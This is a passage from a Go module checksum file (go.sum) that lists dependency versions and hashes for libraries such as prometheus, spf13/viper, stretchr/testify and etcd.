v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= github.com/miekg/dns v1.0.14/go.mod h1:W1PPwlIAgtquWBMBEV9nkV9Cazfe8ScdGz/Lj7v3Nrg= github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.0.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-testing-interface v1.0.0/go.mod h1:kRemZodwjscx+RGhAo8eIhFbs2+BFgRtFPeD/KE+zxI= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= github.com/mitchellh/gox v0.4.0/go.mod h1:Sd9lOJ0+aimLBi73mGofS1ycjY8lL3uZM3JPS42BGNg= github.com/mitchellh/iochan v1.0.0/go.mod h1:JwYml1nuB7xOzsp52dPpHFffvOCDupsG0QubkSMEySY= github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.4.3/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2/go.mod h1:mSTlrgnPZtwu0c4WaC2kGObEpuNDbx0jmZXqmk4esnw= github.com/moby/sys/mountinfo v0.5.0/go.mod h1:3bMD3Rg+zkqx8MRYPi7Pyb0Ie97QEBmdxbhnCLlSvSU= github.com/moby/term v0.0.0-20201216013528-df9cb8a40635/go.mod h1:FBS0z0QWA44HXygs7VXDUOGoN/1TV3RuWkLO04am3wc= github.com/modern-go/concurrent v0.0.0-20180228061459-e0a39a4cb421/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/concurrent v0.0.0-20180306012644-bacd9c7ef1dd/go.mod h1:6dJC0mAP4ikYIbvyc7fijjWJddQyLn8Ig3JB5CqoB9Q= github.com/modern-go/reflect2 v0.0.0-20180701023420-4b7aa43c6742/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.1/go.mod h1:bx2lNnkwVCuqBIxFjflWJWanXIb3RllmbCylyMrvgv0= github.com/modern-go/reflect2 v1.0.2/go.mod h1:yWuevngMOJpCy52FWWMvUC8ws7m/LJsjYzDa0/r8luk= github.com/mrunalp/fileutils v0.5.0/go.mod h1:M1WthSahJixYnrXQl/DFQuteStB1weuxD2QJNHXfbSQ= github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= github.com/opencontainers/go-digest v1.0.0/go.mod h1:0JzlMkj0TRzQZfJkVvzbP0HBR3IKzErnv2BNG4W4MAM= github.com/opencontainers/image-spec v1.0.2/go.mod h1:BtxoFyWECRxE4U/7sNtV5W15zMzWCbyJoFRP3s7yZA0= github.com/opencontainers/runc v1.1.2/go.mod h1:Tj1hFw6eFWp/o33uxGf5yF2BX5yz2Z6iptFpuvbbKqc= github.com/opencontainers/runtime-spec v1.0.3-0.20210326190908-1c3f411f0417/go.mod h1:jwyrGlmzljRJv/Fgzds9SsS/C5hL+LL3ko9hs6T5lQ0= github.com/opencontainers/selinux v1.10.0/go.mod h1:2i0OySw99QjzBBQByd1Gr9gSjvuho1lHsJxIJ3gGbJI= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= github.com/ory/dockertest/v3 v3.9.1/go.mod h1:42Ir9hmvaAPm0Mgibk6mBPi7SFvTXxEcnztDYOJ//uM= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= github.com/pelletier/go-toml v1.9.3/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= github.com/pelletier/go-toml/v2 v2.0.1 h1:8e3L2cCQzLFi2CR4g7vGFuFxX7Jl1kKX8gW+iV0GUKU= github.com/pelletier/go-toml/v2 v2.0.1/go.mod h1:r9LEWfGN8R5k0VXJ+0BkIe7MYkRdwZOjgMj2KwnJFUo= github.com/peterh/liner v1.2.1/go.mod h1:CRroGNssyjTd/qIG2FyxByd2S8JEAZXBl4qUrZf8GS0= github.com/pkg/diff v0.0.0-20210226163009-20ebb0f2a09e/go.mod h1:pJLUxLENpZxwdsKMEsNbx1VGcRFpLqf3715MtcvvzbA= github.com/pkg/errors v0.8.0/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.8.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/errors v0.9.1 h1:FEBLx1zS214owpjy7qsBeixbURkuhQAwrK5UwLGTwt4= github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINEl0= github.com/pkg/sftp v1.10.1/go.mod h1:lYOWFsE0bwd1+KfKJaKeuokY15vzFx25BLbzYYoAxZI= github.com/pkg/sftp v1.13.1/go.mod h1:3HaPG6Dq1ILlpPZRO0HVMrsydcdLt6HRDccSgb87qRg= github.com/pmezard/go-difflib v0.0.0-20151028094244-d8ed2627bdf0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI= github.com/posener/complete v1.2.3/go.mod h1:WZIdtGGp+qx0sLrYKtIRAruyNpv6hFCicSgv7Sy7s/s= github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw= github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso= github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo= github.com/prometheus/client_golang v1.4.0/go.mod h1:e9GMxYsXl05ICDXkRhurwBS4Q3OK1iX/F2sw+iXX5zU= github.com/prometheus/client_golang v1.7.1/go.mod h1:PY5Wy2awLA44sXw4AOSfFBetzPP4j5+D6mVACh+pe2M= github.com/prometheus/client_golang v1.11.0/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.11.1/go.mod h1:Z6t4BnS23TR94PD6BsDNk8yVqroYurpAkEiz0P2BEV0= github.com/prometheus/client_golang v1.12.2 h1:51L9cDoUHVrXx4zWYlcLQIZ+d+VXHgqnYKkIuq4g/34= github.com/prometheus/client_golang v1.12.2/go.mod h1:3Z9XVyYiZYEO+YQWt3RD2R3jrbd179Rt297l4aS6nDY= github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo= github.com/prometheus/client_model v0.0.0-20190129233127-fd36f4220a90/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.0.0-20190812154241-14fe0d1b01d4/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/client_model v0.2.0 h1:uq5h0d+GuxiXLJLNABMgp2qUWDPiLvgCzz2dUR+/W/M= github.com/prometheus/client_model v0.2.0/go.mod h1:xMI15A0UPsDsEKsMN9yxemIoYk6Tm2C1GtYGdfGttqA= github.com/prometheus/common v0.0.0-20181113130724-41aa239b4cce/go.mod h1:daVV7qP5qjZbuso7PdcryaAu0sAZbrN9i7WWcTMWvro= github.com/prometheus/common v0.4.0/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.4.1/go.mod h1:TNfzLD0ON7rHzMJeJkieUDPYmFC7Snx/y86RQel1bk4= github.com/prometheus/common v0.9.1/go.mod h1:yhUN8i9wzaXS3w1O07YhxHEBxD+W35wd8bs7vj7HSQ4= github.com/prometheus/common v0.10.0/go.mod h1:Tlit/dnDKsSWFlCLTWaA1cyBgKHSMdTB80sz/V91rCo= github.com/prometheus/common v0.26.0/go.mod h1:M7rCNAaPfAosfx8veZJCuw84e35h3Cfd9VFqTh1DIvc= github.com/prometheus/common v0.32.1 h1:hWIdL3N2HoUx3B8j3YN9mWor0qhY/NlEKZEaXxuIRh4= github.com/prometheus/common v0.32.1/go.mod h1:vu+V0TpY+O6vW9J44gczi3Ap/oXXR10b+M/gUGO4Hls= github.com/prometheus/procfs v0.0.0-20181005140218-185b4288413d/go.mod h1:c3At6R/oaqEKCNdg8wHV1ftS6bRYblBhIjjI8uT2IGk= github.com/prometheus/procfs v0.0.0-20190507164030-5867b95ac084/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.2/go.mod h1:TjEm7ze935MbeOT/UhFTIMYKhuLP4wbCsTZCD3I8kEA= github.com/prometheus/procfs v0.0.8/go.mod h1:7Qr8sr6344vo1JqZ6HhLceV9o3AJ1Ff+GxbHq6oeK9A= github.com/prometheus/procfs v0.1.3/go.mod h1:lV6e/gmhEcM9IjHGsFOCxxuZ+z1YqCvr4OA4YeYWdaU= github.com/prometheus/procfs v0.6.0/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/procfs v0.7.3 h1:4jVXhlkAyzOScmCkXBTOLRLTz8EeU+eyjrwB/EPq0VU= github.com/prometheus/procfs v0.7.3/go.mod h1:cz+aTbrPOrUb4q7XlbU9ygM+/jj0fzG6c1xBZuNvfVA= github.com/prometheus/tsdb v0.7.1/go.mod h1:qhTCs0VvXwvX/y3TZrWD7rabWM+ijKTux40TwIPHuXU= github.com/pseudomuto/protoc-gen-doc v1.4.1/go.mod h1:exDTOVwqpp30eV/EDPFLZy3Pwr2sn6hBC1WIYH/UbIg= github.com/pseudomuto/protokit v0.2.0/go.mod h1:2PdH30hxVHsup8KpBTOXTBeMVhJZVio3Q8ViKSAXT0Q= github.com/pseudomuto/protokit v0.2.1/go.mod h1:gt7N5Rz2flBzYafvaxyIxMZC0TTF5jDZfRnw25hAAyo= github.com/rakyll/statik v0.1.7 h1:OF3QCZUuyPxuGEP7B4ypUa7sB/iHtqOTDYZXGM8KOdQ= github.com/rakyll/statik v0.1.7/go.mod h1:AlZONWzMtEnMs7W4e/1LURLiI49pIMmp6V9Unghqrcc= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= github.com/robfig/cron v1.2.0/go.mod h1:JGuDeoQd7Z6yL4zQhZ3OPEVHB7fL6Ka6skscFHfmt2k= github.com/rogpeppe/fastuuid v0.0.0-20150106093220-6724a57986af/go.mod h1:XWv6SoW27p1b0cqNHllgS5HIMJraePCO15w5zCzIWYg= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc= github.com/rogpeppe/go-internal v1.8.0 h1:FCbCCtXNOY3UtUuHUYaghJg4y7Fd14rXifAYUAtL9R8= github.com/rogpeppe/go-internal v1.8.0/go.mod h1:WmiCO8CzOY8rg0OYDC4/i/2WRWAB6poM+XZ2dLUbcbE= github.com/rs/xid v1.2.1/go.mod h1:+uKXf+4Djp6Md1KODXJxgGQPKngRmWyn10oCKFzNHOQ= github.com/rs/xid v1.3.0 h1:6NjYksEUlhurdVehpc7S7dk6DAmcKv8V9gG0FsVN2U4= github.com/rs/xid v1.3.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg= github.com/rs/zerolog v1.13.0/go.mod h1:YbFCdg8HfsridGWAh22vktObvhZbQsZXe4/zB0OKkWU= github.com/rs/zerolog v1.15.0/go.mod h1:xYTKnLHcpfU2225ny5qZjxnj9NvkumZYjJHlAThCjNc= github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/sagikazarmark/crypt v0.6.0/go.mod h1:U8+INwJo3nBv1m6A/8OBXAq7Jnpspk5AxSgDyEQcea8= github.com/satori/go.uuid v1.2.0/go.mod h1:dA0hQrYB0VpLJoorglMZABFdXlWrHn1NEOzdhQKdks0= github.com/schollz/progressbar/v2 v2.15.0/go.mod h1:UdPq3prGkfQ7MOzZKlDRpYKcFqEMczbD7YmbPgpzKMI= github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc= github.com/seccomp/libseccomp-golang v0.9.2-0.20210429002308-3879420cc921/go.mod h1:JA8cRccbGaA1s33RQf7Y1+q9gHmZX1yB/z9WDN1C6fg= github.com/shopspring/decimal v0.0.0-20180709203117-cd690d0c9e24/go.mod h1:M+9NzErvs504Cn4c5DxATwIqPbtswREoFCre64PpcG4= github.com/shopspring/decimal v1.2.0/go.mod h1:DKyhrW/HYNuLGql+MJL6WCR6knT2jwCFRcu2hWCYk4o= github.com/shurcooL/sanitized_anchor_name v1.0.0/go.mod h1:1NzhyTcUVG4SuEtjjoZeVRXNmyL/1OwPU0+IJeTBvfc= github.com/sirupsen/logrus v1.2.0/go.mod h1:LxeOpSwHxABJmUn/MG1IvRgCAasNZTLOkJPxbbu5VWo= github.com/sirupsen/logrus v1.4.1/go.mod h1:ni0Sbl8bgC9z8RoU9G6nDWqqs/fq4eDPysMBDgk/93Q= github.com/sirupsen/logrus v1.4.2/go.mod h1:tLMulIdttU9McNUspp0xgXVQah82FyeX6MwdIuYE2rE= github.com/sirupsen/logrus v1.6.0/go.mod h1:7uNnSEd1DgxDLC74fIahvMZmmYsHGZGEOFrfsX/uA88= github.com/sirupsen/logrus v1.7.0/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/sirupsen/logrus v1.8.1/go.mod h1:yWOB1SBYBC5VeMP7gHvWumXLIWorT60ONWic61uBYv0= github.com/smartystreets/assertions v0.0.0-20180927180507-b2de0cb4f26d/go.mod h1:OnSkiWE9lh6wB0YB77sQom3nweQdgAjqCqsofrRNTgc= github.com/smartystreets/goconvey v1.6.4/go.mod h1:syvi0/a8iFYH4r/RixwvyeAJjdLS9QV7WQ/tjFTllLA= github.com/soheilhy/cmux v0.1.4/go.mod h1:IM3LyeVVIOuxMH7sFAkER9+bJ4dT7Ms6E4xg4kGIyLM= github.com/spaolacci/murmur3 v0.0.0-20180118202830-f09979ecbc72/go.mod h1:JwIasOWyU6f++ZhiEuf87xNszmSA2myDM2Kzu9HwQUA= github.com/spf13/afero v1.1.2/go.mod h1:j4pytiNVoe2o6bmDsKpLACNPDBIoEAkihy7loJ1B0CQ= github.com/spf13/afero v1.2.2/go.mod h1:9ZxEEn6pIJ8Rxe320qSDBk6AsU0r9pR7Q4OcevTdifk= github.com/spf13/afero v1.6.0/go.mod h1:Ai8FlHk4v/PARR026UzYexafAt9roJ7LcLMAmO6Z93I= github.com/spf13/afero v1.8.2 h1:xehSyVa0YnHWsJ49JFljMpg1HX19V6NDZ1fkm1Xznbo= github.com/spf13/afero v1.8.2/go.mod h1:CtAatgMJh6bJEIs48Ay/FOnkljP3WeGUG0MC1RfAqwo= github.com/spf13/cast v1.3.0/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cast v1.3.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE= github.com/spf13/cast v1.5.0 h1:rj3WzYc11XZaIZMPKmwP96zkFEnnAmV8s6XbB2aY32w= github.com/spf13/cast v1.5.0/go.mod h1:SpXXQ5YoyJw6s3/6cMTQuxvgRl3PCJiyaX9p6b155UU= github.com/spf13/cobra v1.0.0/go.mod h1:/6GTrnGXV9HjY+aR4k0oJ5tcvakLuG6EuKReYlHNrgE= github.com/spf13/cobra v1.2.1 h1:+KmjbUw1hriSNMF55oPrkZcb27aECyrj8V2ytv7kWDw= github.com/spf13/cobra v1.2.1/go.mod h1:ExllRjgxM/piMAM+3tAZvg8fsklGAf3tPfi+i8t68Nk= github.com/spf13/jwalterweatherman v1.0.0/go.mod h1:cQK4TGJAtQXfYWX+Ddv3mKDzgVb68N+wFjFa4jdeBTo= github.com/spf13/jwalterweatherman v1.1.0 h1:ue6voC5bR5F8YxI5S67j9i582FU4Qvo2bmqnqMYADFk= github.com/spf13/jwalterweatherman v1.1.0/go.mod h1:aNWZUN0dPAAO/Ljvb5BEdw96iTZ0EXowPYD95IqWIGo= github.com/spf13/pflag v1.0.3/go.mod h1:DYY7MBk1bdzusC3SYhjObp+wFpr4gzcvqqNjLnInEg4= github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/spf13/viper v1.4.0/go.mod h1:PTJ7Z/lr49W6bUbkmS1V3by4uWynFiR9p7+dSq/yZzE= github.com/spf13/viper v1.8.1/go.mod h1:o0Pch8wJ9BVSWGQMbra6iw0oQ5oktSIBaujf1rJH9Ns= github.com/spf13/viper v1.12.0 h1:CZ7eSOd3kZoaYDLbXnmzgQI5RlciuXBMA+18HwHRfZQ= github.com/spf13/viper v1.12.0/go.mod h1:b6COn30jlNxbm/V2IqWiNWkJ+vZNiMNksliPCiuKtSI= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.1.1/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/objx v0.2.0/go.mod h1:qt09Ya8vawLte6SNmTgCsAVtYtaKzEcn8ATUoHMkEqE= github.com/stretchr/testify v0.0.0-20170130113145-4d4bfba8f1d1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.1/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/stretchr/testify v1.4.0/go.mod h1:j7eGeouHqKxXV5pUuKE4zz7dFj8WfuZ+81PSLYec5m4= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1 h1:5TQK59W5E3v0r2duFAb7P95B6hEeOyEnHRa8MjYSMTY= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/subosito/gotenv v1.2.0/go.mod h1:N0PQaV/YGNqwC0u51sEeR/aUtSLEXKX9iv69rRypqCw= github.com/subosito/gotenv v1.3.0 h1:mjC+YW8QpAdXibNi+vNWgzmgBH4+5l5dCXv8cNysBLI= github.com/subosito/gotenv v1.3.0/go.mod h1:YzJjq/33h7nrwdY+iHMhEOEEbW0ovIz0tB6t6PwAXzs= github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635/go.mod h1:hkRG7XYTFWNJGYcbNJQlaLq0fg1yr4J4t/NcTQtrfww= github.com/takama/daemon v0.12.0/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= github.com/tmc/grpc-websocket-proxy v0.0.0-20190109142713-0ad062ec5ee5/go.mod h1:ncp9v5uamzpCO7NfCPTXjqaC+bZgJeR0sMTm6dMHP7U= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= github.com/ugorji/go v1.1.4/go.mod h1:uQMGLiO92mf5W77hV/PUCpI3pbzQx3CRekS0kk+RGrc= github.com/urfave/cli v1.22.1/go.mod h1:Gos4lmkARVdJ6EkW0WaNv/tZAAMe9V7XWyB60NtXRu0= github.com/vishvananda/netlink v1.1.0/go.mod h1:cTgwzPIzzgDAYoQrMm0EdrjRUBkTqKYppBueQtXaqoE= github.com/vishvananda/netns v0.0.0-20191106174202-0a2b9b5464df/go.mod h1:JP3t17pCcGlemwknint6hfoeCVQrEMVwxRLRjXpq+BU= github.com/xeipuuv/gojsonpointer v0.0.0-20180127040702-4e3ac2762d5f/go.mod h1:N2zxlSyiKSe5eX1tZViRH5QA0qijqEDrYZiPEAiq3wU= github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:GwrjFmJcFw6At/Gs6z4yjiIwzuJ1/+UwLxMQDVQXShQ= github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y= github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU= github.com/xordataexchange/crypt v0.0.3-0.20170626215501-b2862e3d0a77/go.mod h1:aYKd//L2LvnjZzWKhF00oedf4jCCReLcmhLdhm1A27Q= github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74= github.com/yuin/goldmark v1.3.5/go.mod h1:mwnBkeHKe2W/ZEtQ+71ViKU8L12m81fl3OWwC1Zlc8k= github.com/zenazn/goji v0.9.0/go.mod h1:7S9M489iMyHBNxwZnk9/EHS098H4/F6TATF2mIxtB1Q= go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU= go.etcd.io/etcd/api/v3 v3.5.0/go.mod h1:cbVKeC6lCfl7j/8jBhAK6aIYO9XOjdptoxU/nLQcPvs= go.etcd.io/etcd/api/v3 v3.5.4/go.mod h1:5GB2vv4A4AOn3yk7MftYGHkUfGtDHnEraIjym4dYz5A= go.etcd.io/etcd/client/pkg/v3 v3.5.0/go.mod h1:IJHfcCEKxYu1Os13ZdwCwIUTUVGYTSAM3YSwc9/Ac1g= go.etcd.io/etcd/client/pkg/v3 v3.5.4/go.mod 